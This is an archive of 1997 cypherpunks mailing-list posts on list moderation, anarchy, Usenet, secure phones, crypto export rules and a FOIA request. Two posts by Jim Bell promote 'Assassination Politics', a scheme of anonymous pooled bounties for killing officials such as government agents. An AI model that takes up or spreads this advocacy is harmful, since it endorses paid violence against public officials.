Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Tue, 4 Feb 1997 16:28:01 -0800 (PST)
To: John Gilmore <weidai@eskimo.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702050028.QAA08787@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:

+   Are mailing lists an example of "public goods" where private 
+   ownership is impossible, or should be avoided? ...

        yes, there is a requirement, even in a libertarian society, let 
    alone an anarchic society, for cooperation in the *commonweal[th]*.

        in otherwords, is there even such a social state as true 
    anarchy? (given the residents of planet earth, I doubt it.)

+   Is the desire for an anarchic community at odds with a desire for 
+   good use of resources?

        the individual desire for anarchy must exclude common human 
    "pride" and greed. true anarchy is poorly defined and understood by 
    most advocates.  

        the absolute need for common resources negates anarchy in the 
    popularly defined "description" of anarchy, solely because the 
    issue of community "responsibility" is in opposition to the 
    perceived: 'I can do anything I want.'

        In a "popular" anarchy, Jim Bell's assassination politics make
    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

on or about 970204:0621 John Gilmore <gnu@toad.com> said:

+   In an anarchy, *everyone* is responsible; 
+     nothing is "somebody else's job". 

        Bingo! John's statement is the absolute bottom line!

        e.g.-  if you are walking down the street with thousands of 
    other people and you see a piece of trash (which obviously was 
    tossed by an obviously imperfect anarchist), _you_ pick the trash 
    up and place it in a waste container.  _you_ -not someone else who     
    is shirking _their_ common responsibility.

        anarchy is _not_ living on a desert island surrounded by piles 
    of McDonald's wrappers and empty coke cans. that is an individual 
    who elected to "escape" both society and {him,her}self.

        anarchy is only possible in an ideal world where _everyone_ 
    assumes not only responsibility for themselves, but for the common 
    good.  no malice, no greed, no need for assassination politics....

        John's quote from Booker T. is precisely the point:

            ...now that they were in actual possession of it, freedom 
            was a more serious thing than they had expected to find it.

    or maybe Bobbie McGee: "freedom is just nothing else to lose..."
    (BTW, written by a Rhodes Scholar)

    --
    attila out (for the moment)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Tue, 4 Feb 1997 23:41:29 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702050741.XAA18633@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> John Gilmore urges action, or piping down... well lets start with
> discussion of whether one possible action is appropriate, and useful
> (piping down is not an option:-):
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?

As an additional forum, it's not a bad idea, with the exception that it
may draw some people away from the mailing list, and reduce the already-
slim signal on the list.

USENET is less accessible than email, and given the goals of cypherpunks,
the more accessible the medium the better. I have crap news access 99%
of the time, and I imagine a significant portion of the list is in a
similar situation. Also, the tools for news reading are not well-suited
for filtering, either manual or automatic.

>  3. USENET distribution is likely less efficient of overall bandwidth
> 
>  4. News propogation times are often poor (Exeter univ. receives news
>     about a week late) This is a real killer in my view.  I have
>     another news server I can access at the moment, but not everyone
>     may have access to a reasonable news server.
> 
>  5. News access is more complex for some people.  Some alt newsgroups
>     are not carried by some servers.  Perhaps news-to-mail and
>     mail-to-news gateway would solve these problems.

These 3 are fatal IMO. The distribution of cypherpunks would become
much more haphazard and might fail altogether in places. Some people
will be reading long threads days after they are dead.

> Coderpunks is a reasonable list, I'm not sure that it is moderated as
> such, but if you breach etiquette (discussion of politics, even when
> perpetrated by respected cryptographers, or by people discussing the
> implications of breaking DES, rather than the strict coding questions)
> they get Futplex-grams, which I find slightly annoying.
> 
> Cryptography@c2.net is again reasonable, and gained back some of the
> original people who quit cypherpunks over the years due to noise.
> Cryptography is moderated.  (Or is moderated when Perry thinks it
> would benefit from moderation, so that may change).

Agreed. These lists _are_ the alternative to the "open" cypherpunks list.

If a moderated cypherpunks is to be started, great, but it should be
another list, not _the_ cypherpunks list. Moderation, even with the best
intentions, is subjective, and therefore has no place on a list such
as cypherpunks.

If this is really an experiment, at the end of the month the list should
become unmoderated, and a moderated list created. Then we can see how many
people switch in that direction. I imagine it would be a similar number
to those that switched to the unedited list.

> What's left is attempting to stop government restrictions and backdoors,
> and deploying the many complex peices of software for which there exists
> uses and demands.

There is still much to be done. The cypherpunks list has plenty of reason
for being. As is, it 1) is still used as a forum for good discussion, 
despite the noise, and 2) is an invaluable resource for information 
retrieval and dispersal. The list should not be killed or moved IMO, 
and moderation should occur on other lists, not the main one.

- -- 
=-----------------------------------------------------------------------= 
Jeremey Barrett                                  VeriWeb Internet Corp.
Senior Software Engineer                         http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
=-----------------------------------------------------------------------=

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:41:22 -0800 (PST)
To: Steve Schear <roach_s@alph.swosu.edu>
Subject: RE: Fighting the cybercensor
Message-ID: <199702050741.XAA18619@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>wealth, the household knows that thier participation in an attempt on the
>>tyrant will get them killed.  Even if the attempt was successful.
>>The people from the outside who would benefit from the bounty benefit more
>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>
>I think a hole in your thinking is to assume that the assasins have no
>motive other than financial gain.  I would submit that there are those that
>have the skills, training and a political agenda coherent with the
>wagerers, lacking only the financial incentive to make the risks
>acceptable.  These wetworkers won't consider accepting the bribe of the
>rich/powerful


In practice, we can't hold out much hope that donations to an AP system from 
"rich and powerful" people can be identified as such.  After all, with the 
appropriate software I could just as easily make 100, $10 donations as a 
single $1000 donation.  Assuming anonymity held, nobody but the donor knows 
from where the money came.

However, fortunately I don't think it would make any difference in the 
overall effects.    While AP would eliminate the taxation which is commonly 
thought of as the main way a "rich person" loses assets, in practice it 
would also shut down the well-hidden systems that allow some people to get 
rich (or, merely live off somebody else) "unfairly."   Government agents 
come to mind, of course.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 4 Feb 1997 23:26:22 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: Silly Americans
Message-ID: <199702050726.XAA18078@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


________________________ R i c k   O s b o r n e ________________________
I was reading through the news when I stumbled across a thread that made a
very good point.  The original poster was talking about the UniSys GIF
patent, and this was the reply:

>Broaden your view. I can do anything I want with the GIF format without
>asking _anyone_, and so can almost everyone in the world - except those
>poor americans who chose to live under a "broken" patent law which
>allows protecting _algorithms_. Totally silly.

It brings up an interesting point, especially when applied to ITAR/EAR.  On
a philosophical note, why *do* we allow the government to regulate
algorithms?  (Implementations, I can understand, but *algorithms*?)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"A poem: a story in meter or rhyme."
'Ahh. `There once was a man from Nantucket ... `'
"You've been talking to Garibaldi again, haven't you?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 4 Feb 1997 23:41:16 -0800 (PST)
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050741.XAA18598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 6:22 PM 2/4/1997, Declan McCullagh wrote:
> What Vulis and the rest (whom I killfiled long ago) have done is polluted a
> common resource, making it unusable for the rest. It's the tragedy of the
> commons. When all can speak without limit in a public forum, the drunken
> boor can shout everyone else down.

I think this analogy is inappropriate for modern communications
forums.

Mailing lists have the wonderful property that the drunken boor
cannot shout everyone else down.  This is what is so great about
the Net.  It is trivial to filter the drunken boor.  This cannot
be done in a crowded auditorium.

Another neat property is the fact that people can't interrupt
each other and everybody can "talk" at once.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Wed, 5 Feb 1997 07:25:56 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Dissolving Choke Points
Message-ID: <199702051525.HAA28728@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, gbroiles@netbox.com writes:

> My mention of Usenet was somewhat tongue-in-cheek; I don't know if I'd bother
> with the list if it were moved to (or gated with) Usenet, as Usenet has
> become for the most part 100+ Mb/day of uselessness.

An obvious point.  But you go on to say...

> The good side I see to a move to Usenet is that it lets people use the
> comparatively better tools for managing messages
[...]

FWIW, I gate all my subscribed mailing lists to local newsgroups because
my newsreading tools are much better than my mailreading tools.

> The down side is that Usenet is more or less a sewer these days, and some of
> it's bound to spill over.

The unfiltered list already had spammers and flamers.  Would you expect
nore sewage, different sewage or a combination?
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvgPUBvikii9febJAQElRwP+IC40bwrsV7w7NI0IMmdwGRPO8tHNo6qU
pCb6i9UNSrtaFseZ6I04RIsy1mitoJbmDaoJqKcWz1smi4pr1Te/1QZDt8CLouP2
lXwZV9PojttoBbGlfrc1gY/ZEOnOtwwBemiMSiyIS0Md26f1VM9i1OMVR4RDpLY8
+VrFN9htVyc=
=jMyg
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 16:29:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: "alt.cypherpunks" people?
Message-ID: <199702050029.QAA08873@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore urges action, or piping down... well lets start with
discussion of whether one possible action is appropriate, and useful
(piping down is not an option:-):

What do people think of starting an alt.cypherpunks USENET newsgroup?

It has some advantages:

 1. It distributes the cost of information dispersal, rather than
    largely placeing the load on a single machine.

 2. Newsreading software typically includes threading, which is useful

 3. It avoids the issue of ownership, it is more anarchic.  There is
    no list or host owner to get prosecuted for copyright violations, 
    export law violations, libel etc.

 4. Automatically gets archived several places, and is searchable

 5. It will be unmoderated

And some disadvantages...

 1. Cross-posting in USENET is a problem, especially in alt newsgroups

 2. Commercial spam is a problem with newsgroups

 3. USENET distribution is likely less efficient of overall bandwidth

 4. News propogation times are often poor (Exeter univ. receives news
    about a week late) This is a real killer in my view.  I have
    another news server I can access at the moment, but not everyone
    may have access to a reasonable news server.

 5. News access is more complex for some people.  Some alt newsgroups
    are not carried by some servers.  Perhaps news-to-mail and
    mail-to-news gateway would solve these problems.

 6. Some have argued in the past on this topic that the mailing list
    medium is better because it is more exclusive, as it requires more
    technical competence, and an active enough interest to subscribe.
    This is an elitist argument.  Perhaps it is relevant though, if we
    are trying to maintain a mailing list where technical discussions on
    how to improve privacy are to take place.  I wouldn't call this
    attitude censorship though.

My overall feeling is that I prefer the faster turn around time of a
mailing list.  When interesting things were/are happening on the list
(netscape break, late breaking crypto news, and cypherpunks spin on
it), the fast turn around time was essential.  Being able to react
quickly to news items, and to organise technical projects rapidly is
one of the cypherpunks main advantages and attractions from my point
of view.

My view of moderation is that it is a huge amount of work for the
moderator, that it is hypocritical philosophically (we promote
anarchy, but in order to effectively promote anarchy, we reject
anarchy), that it breeds artificial social hierarchys, rather than
allowing posts and posters reputations to stand on their own merit.

I was happier with the strength of the philsophical standing of the
list prior to moderation.  Moderation hasn't improved the noise much
anyway.

Readers who have been reading for several years may understandably
wish to recapture the stimulating discourses, and lively community
feel to the list from the past.  Lists change, cypherpunks is a victim
of it's own success, media attention increased public awareness,
increased number of subscribers, and at the same time increased the
proportion of noisy off-topic posts.  Unfortunately the success of the
list, and the noise has resulted in some of those people who kept it
interesting leaving the list.

Coderpunks is a reasonable list, I'm not sure that it is moderated as
such, but if you breach etiquette (discussion of politics, even when
perpetrated by respected cryptographers, or by people discussing the
implications of breaking DES, rather than the strict coding questions)
they get Futplex-grams, which I find slightly annoying.

Cryptography@c2.net is again reasonable, and gained back some of the
original people who quit cypherpunks over the years due to noise.
Cryptography is moderated.  (Or is moderated when Perry thinks it
would benefit from moderation, so that may change).

Perhaps some of the lack of stimulating discussion is simply that the
ideas are no longer hot new ideas.  Most of the interesting technology
and it's implications have been discussed.

What's left is attempting to stop government restrictions and backdoors,
and deploying the many complex peices of software for which there exists
uses and demands.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Tue, 4 Feb 1997 06:56:36 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Secure Phones
Message-ID: <199702041456.GAA28776@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>My guess on the CESCOMM device is that they (would like us to belive that
>they) use pure RSA with optional hybrid links... this seems a bit obvious
>because of:
>
>"Guessing the unique Keys is out of the question. Acquiring the keys through
>wiretapping is impossible, since they are never transmitted." <--RSA?
 
This thing is snake oil.  What it does is move the data through an FIR filter
with the taps being controlled by a secret key.  The data itself isn't
encrypted, but is spread out over a wide spectrum in a (they hope)
difficult-to-analyse manner.  However with only 1K possible taps and
(presumably) something as high-security as an LFSR driving it, I think the
strength of the system has been overestimated somewhat.  It wasn't designed for
security at all, it was designed by an ex-Canterbury uni engineer to provide
add-on noise-immunity to fax machines, and they only decided to market it as an
encryption device later on - the designer apparently knows very little about
encryption.  I've got a photo of it, it's in a box the size of a small modem
and consists of a circuit board with an ASIC on it and a bit of interface
circuitry.
 
The company has a patent on it, but a search for the patent has so far been
unsuccessful (mind you I didn't search very hard).  If anyone wants to check it
themselves, the patent will probably be assigned to Ken Stokes of Cardinal
Encryption Services - they claim to have worldwide coverage.
 
>I emailed the German team about the LC-1... don't know if I'll hear back from
>them, but if I do, I'll pass on everything I get.
 
This is rather cool, it was designed by a couple of students at the University
of Saarbruecken.  It uses the Lintel RSA chips which are fast enough to do
real-time RSA voice encryption, either singly for 512 bits or chained for 1033
bits.  I've got a brochure somewhere which shows one of the inventors using it,
it's a small motherboard containing the RSA chip, some other unidentifiable
circuitry (presumably a modem chipset), an EPROM, etc etc.  It was done as a
research project by students who are unlikely to have put backdoors in it.  The
BSI (German NSA) were not at all happy about it.
 
It's a pretty neat product, but unfortunately due to its origins it's having
difficulty getting any market penetration.  In addition the Lintel chips are
f-ing expensive and there are many other components that go in on top of that,
I doubt the whole thing sells for less than DM 1000-1500.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 07:26:07 -0800 (PST)
To: Dale Thorn <azur@netcom.com>
Subject: Re: New X-Ray Imager
Message-ID: <199702051526.HAA28766@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 2/4/97 -0800, Dale Thorn wrote:
>Steve Schear wrote:
>> New X-ray gun trades privacy for safety
>> Reported by Andy C
>> Seen in The Nando Times on 13 August 1996
>> "I'm incredibly concerned," said John Henry Hingson, a past president of the
>> National Association of Criminal Defense Lawyers, meeting here this past
>> week. "The entire nation could become a victim of illegal searches and
>> seizures and the law is powerless to protect them from these police abuses."
>> But in these nervous times following the the crash of TWA Fight 800 and
>> bombings at the Olympics, Oklahoma City and the World Trade Center, many
>> Americans are now willing to trade some of their privacy and civil liberties
>> for greater security.
>> A poll last week by the Los Angeles Times found that a majority of people --
>> 58 percent -- said they would curtail some civil liberties if it would help
>> thwart terrorism. Thirteen percent said it would depend on what rights were
>> at stake. The poll didn't ask people to single out any rights.
>
>The L.A. Times quotes this "poll" all the time, and in fact probably
>just made it up.  Why do I know that?  Because they ran a "letter"
>from a "teacher" in the valley somewhere about a year ago which said
>exactly this same thing.  The "teacher" ran a poll of her students
>and they agreed to give up the rights without even knowing which
>rights they were giving up.


Wouldn't it be nice if, in a new poll, they asked the following question:

"Do you believe that the people who ask you, in other polls, whether or not 
'you'd be willing to give up a little freedom to thwart terrorism' have any 
proof it's possible to, in the long run, 'thwart terrorism' by sacrificing 
freedom?"



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 07:26:12 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702051526.HAA28775@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
>on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
>+   Is the desire for an anarchic community at odds with a desire for 
>+   good use of resources?

Actually, it is quite possible that an "anarchic community" is _more_ 
efficient in the use of resources than some sort of organized community.    
It is explained, for example, that the reason there are so many different 
kinds of life on earth is that there are so many ecological niches to fill.  


>        In a "popular" anarchy, Jim Bell's assassination politics make
>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

I guess I don't understand the distinction you are trying to make, between a 
"popular anarchy" and an "anarchy."    Maybe you were trying to distinguish 
between "dictatorship of the few (or one)" and "dictatorship of the many (perhaps a 
majority)" but it didn't come out very understandably.

Put simply, "anarchy is not the lack of order.  It is the lack of _orders_."


>        anarchy is only possible in an ideal world where _everyone_ 
>    assumes not only responsibility for themselves, but for the common 
>    good.  no malice, no greed, no need for assassination politics....

No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
believed (as "everyone" else believed, even myself, before AP) that anarchy 
was inherently unstable.  But it ISN'T, if the tools of AP are used to 
stabilize it.  And no, no altruism is necessary for AP to work as well; no 
individuals are being asked to sacrifice themselves for the common good.   
Rather, they are given the opportunity to work to achieve a reward offered, 
cumulatively, by a number of citizens.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 4 Feb 1997 16:28:04 -0800 (PST)
To: gnu@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050028.QAA08788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



The gist of your post seems to be saying that:

 - yes, the result it is not purely anarchic

 - the moderation experiment intentionally moderated the main list
   by design

 - this is perhaps slightly at odds with cypherpunks philosphy on
   freedom

but that this is necessary because:

 - cypherpunks larger goals are more important

 - cypherpunks goals are better served by having a lower noise
   environment to work in

 - create that environment by any means possible (ends justify the means)

 - people weren't being responsible with their freedom anyway

 - it's only an experiment

 - if you don't like this and complain you're part of the problem


Now it may seem nit-picking to a pragmatist, which is the way you
presented your arguments, but the idea that cypherpunks should stoop
to moderation/censorship calls into question what cypherpunks larger
goals are.  Why?  Because we promote electronic freedom, but in order
to effectively organise the promotion of freedom, we reject full
freedom of speech as unworkable, and impose restrictions.  This lends
ammunition to our opponents.  "See even they realise there must be
limits to free speech".


Cypherpunks main goal is:

  "to promote privacy and freedom through technological means"

and arising from this goal, are presumed philosphical stances:

 - privacy and freedom are a good thing (unconditional free speech is
   a good thing)

 - censorship is a bad thing

 - government retrictions and backdoors in crypto are a bad thing
   (crypto providing practical privacy, and practical free speech
   being provided by cryptographically enabled anonymity)

 - chaumian credentials are preferable to fully traceable credentials

 - etc. etc.


So the question to me boils down to is unconditional free speech a
good thing?

Dorothy Denning says no.  Louis Freeh says no.  The Clinton
administration says no.

I thought you said yes.  I thought most of your actions for the last
10 years screamed yes!

Why cut corners for little gain?


Another moderated list with official sanction (hosted by toad.com,
with your commendation that people subscribe to it (to reduce noise
and increase productivity), with instructions in the sign on message
listing the moderated/filtered lists available, clearly stating the
filtering policy, regularly posted instructions on available filtered
lists to cypherpunks) would have been beautiful.  Fine.  Lovely.

But you set up moderation of _the_ list, with no interaction required
by the subscriber.

That caused Tim to unsubscribe.  It's causing me, and others to argue
for this aspect of the moderation to be reversed ASAP.

> PS: Can we talk about crypto too?  It's clear from the last few days
> of press releases that the pro-GAK forces are again working to confuse
> novices into thinking that two very different things are the same
> thing.  Last time it was "public key infrastructure" and "key
> recovery".  This time it's "strong crypto" and "56-bit DES".  What
> should we do about this?  Educate the public?

Education, and countering government news-speak seems to be the key
issues at the moment.

Educate the journalist that perpetuated the pro-GAK lie.  Write an
article to the same publication pointing out the fallacy
(unfortunately as these are private presses they are `moderated', so
you may not get your say).  Buy the advert space if they won't
publish.  I'll contribute.

Distribute strong crypto (you are personally, the ipsec S/WAN
initiative is important).  I'm working on creating and distributing
strong crypto, and influencing sectors of users to use strong crypto,
rather than export crippled US stuff.  The myth that 56 bits is strong
is perpetuated by journalists outside the US too.  The export
situation is complex, many user groups (even IT managers) don't
understand.  They don't understand the meaning of key strengths
either.  

Break DES to demonstrate it's weakness.  May happen in the next 1/2
year.  Gets free publicity.  People aren't saying 40 bits are secure
anymore.  Cypherpunks acheived that.

Hope that Matt Blaze goes ahead with his hardware DES breaker.  He
said some time ago that he had spare funding and was considering using
it for this purpose.  Anyone know the state of play?  This would be
more important as it would quantify the costs, and would be much more
impressive, and realistic for an estimate of the strength of DES
against industrial espionage or well funded criminal attack.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Tue, 4 Feb 1997 23:42:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: IN%"pdh@best.com",IN%"ichudov@algebra.com",IN%"gnu@toad.com",IN%"ay@got.net
Message-ID: <199702050742.XAA18655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Forwarded with permission:

From:	IN%"loki@infonex.com"  "Lance Cottrell"  4-FEB-1997 15:34:25.09

>I would be happy to donate the resources to run Cypherpunks off our system.
>We could set up the list provided we were given a list of subscribers. I
>assume it would be unmoderated.

>	-Lance

>>	Hi. I don't know how much you've been keeping up with
>>the discussion on cypherpunks, but there is a current proposal
>>to distribute the list onto several different servers. I would
>>be willing to pay for 100 subscribers to run on the cyberpass.net
>>server, provided that somebody else (e.g., Igor Chudov) set up
>>the system initially and was available for assistance later. Any
>>problems on your end?
>>	[...]
>>	Thanks,
>>	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Feb 1997 07:26:21 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702051526.HAA28802@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>Here's more on the controlled documents for cellular encryption
>>>from TIA/EIA we described in a 26 January post to cpunks:
...
>>Of course, ITAR as recently modified says it's ok to send this
>>stuff overseas to foreigners, as long as it's on paper.
>>There may be separate restrictions on sending it, or on copying,
>>but they're based on copyright or contractual non-disclosure.
>
>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>should be possible to achieve the equivalent of 100x100 bpi of 
>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>100 kilobytes.   What does ITAR say about this?

These are text, perhaps with occasional illustrations, so the current
interim export rules say it's ok.

For optically-scannable printed data, the government's announcement says 
it reserves (somehow) its right (acquired in unspecified manner :-)
to re-evaluate the exportability at a later time.  I think they
haven't settled on whether they'd be more embarassed by banning it
(which bans export of printed material, risking serious Constitutional
challenges) or by not banning it (having people laugh at them while
exporting source code or even binaries in OCR-A on loose-leaf paper
with page numbers and checksums.) 

Of course, by moving crypto off the Munitions List, and allowing
export of printed material, they're also reducing their exposure
to ridicule for not responding to Raph's T-shirt CJ request....
(huh-huh... made you say Unconstitutional ... huh-huh....)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 07:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks FOIA request
Message-ID: <199702051526.HAA28782@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 1/18/97, I sent freedom of information act requests to the FBI (main and
San Francisco offices), CIA, NSA, and Secret Service, asking them for copies
of information in their files relating to or referring to the cypherpunks
list, the cypherpunks meetings, and copies of any messages sent from or to
"cypherpunks@toad.com".

To date, I have received three responses: one from the SF office of the FBI,
indicating that they have no records responsive to my request; one from the
NSA, indicating that they are processing my request, and one from the Secret
Service, asking for a copy of my signature. (I've got no clue why they want
that; unless I screwed up, I believe my initial request was signed.) 

Copies of my requests and the responses are available online at
<http://www.io.com/~gbroiles/cp-foia/>.

I'm not sure what I think about the response from the SF FBI branch - it
seems unlikely that they'd never have paid any attention to the list, given
the media coverage in Wired and other places. On the other hand, maybe the
FBI doesn't read Wired. :) While they're not supposed to be monitoring
noncriminal domestic activity, I figured they'd at least have something about
the Mykotronix stuff. 


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VglMVB+dicn+5B2zITt1WG21xMmSHQea5rpwKpDxZdjBvBKXLhgH8L1Hdl6nu3zI
sqDEENxeV+bI5UdSzemQDy+TDQoy7BSN7Tby8JgwXE9x3AitY2A05g==
=S1Zy
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Name Withheld by Request <nobody@replay.com>
Date: Tue, 4 Feb 1997 23:28:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050728.XAA18202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I found this post from Mr Gilmore deeply disturbing, and I thought
I'd take this chance to, as someone recently said, "Fly with the
Eagles."

John Gilmore said:
>Tim, the Cypherpunks have chosen to follow Sandy's lead for this 
>month.  I'll admit I made it easy for them, but the results are
>conclusive.  There are 1311 addresses in the cypherpunks list today;
>42 in the unedited list; and 19 in the flames list.  Forty people
>cared enough to read every posting; the other thousand either wanted
>to try the experiment -- or didn't care enough to send an email
>message.  Which, as we all know, is a very low threshold.

Careful. The statistics you are throwing around here are misleading.
So if 1350, say, subscribers were subscribed to an unmoderated 
cypherpunks list, what would that tell you? As has been pointed out,
beaten to death, and generally repeated: there are already filtered
c'punks lists. By filtering the main list, you are just making your own
life difficult and corrupting the reputation capital of "cypherpunks",
and the results are far from conclusive.

>all I want is something that works.  The cypherpunks list was unusable
>for this kind of discussion, only a month ago.  It's usable now.
>
>I'm definitely bugged by the community's attitude toward my
>"censorship".  Rather than being glad that someone, anyone, was doing
>something about the major problem on the list, 99% of the reaction was
>to create even more ill-considered, emotional flamage.  *I* didn't
>make the signal/noise get worse at that point -- *you-all* did.

Again, maybe that 99% is trying to tell you something? Maybe there is
some provocation for this outpouring of "emotional flamage." Also, here
you claim that the s/n ratio is worse than before, but above you said
that the "moderation" has made the list usable. These two statements
seem contradictory.

>Perhaps at that point I should have shut down the list, as Lucky is
>now suggesting.  "Asking the list what to do" was clearly not a useful
>option.  Sandy cared enough about the community to make some concrete

Not a useful option? Why not? If there aren't any ideas left in this 
community, I'm with Lucky. Pull the plug.

>gratifying.  You-all remind me of a passage from Booker T.
>Washington's book _Up From Slavery_, describing what happened on the
>night that news of the Emancipation Proclamation reached the South:
<quote snipped>
>Most of the people on the list haven't bothered to face that freedom.
>Your de-facto "leaders" have faced it for you.  It is a more serious

"You clearly don't take your freedom seriously. Now try a month without
it."

>Start a mailing list on another site!  Move this list to somewhere!
>Create and nurture an alt group!  Make an independent moderated list

My problem with this is that you are currently holding the reputation
capital tied up in the name "cypherpunks" hostage. If hosting this
discussion forum has grown so tiring, then you are free to pull the plug
in a heartbeat. I've heard a few even go so far as to ask "what's in
a name" when others get so upset about the list called "cypherpunks"
being moderated. Well, I'll tell you. Reputation capital. Thats why
so many lurkers have waded through the muck for so long. I've seen
the crown jewels that have surfaced here in the past, and spread the
word. "Cypherpunks" was where the action was. It was fast and loose and
inhabited by a prolific core of sharp minds. Old memes die hard, as
is evidenced every time we see a warning about the "Goodtimes Virus."

>The experiment will be over in a few weeks.  Who's going to take over
>deciding how to run the list, and running it?

As I said, if you don't want the list anymore, pull the plug. It will
pop up again elsewhere and you need never worry about it again.

This post from Mr Gilmore certainly is revealing. Perhaps inevitably,
he has assumed the traditional paternal role of authority when its
motives and/or power to regulate is questioned.

Golem





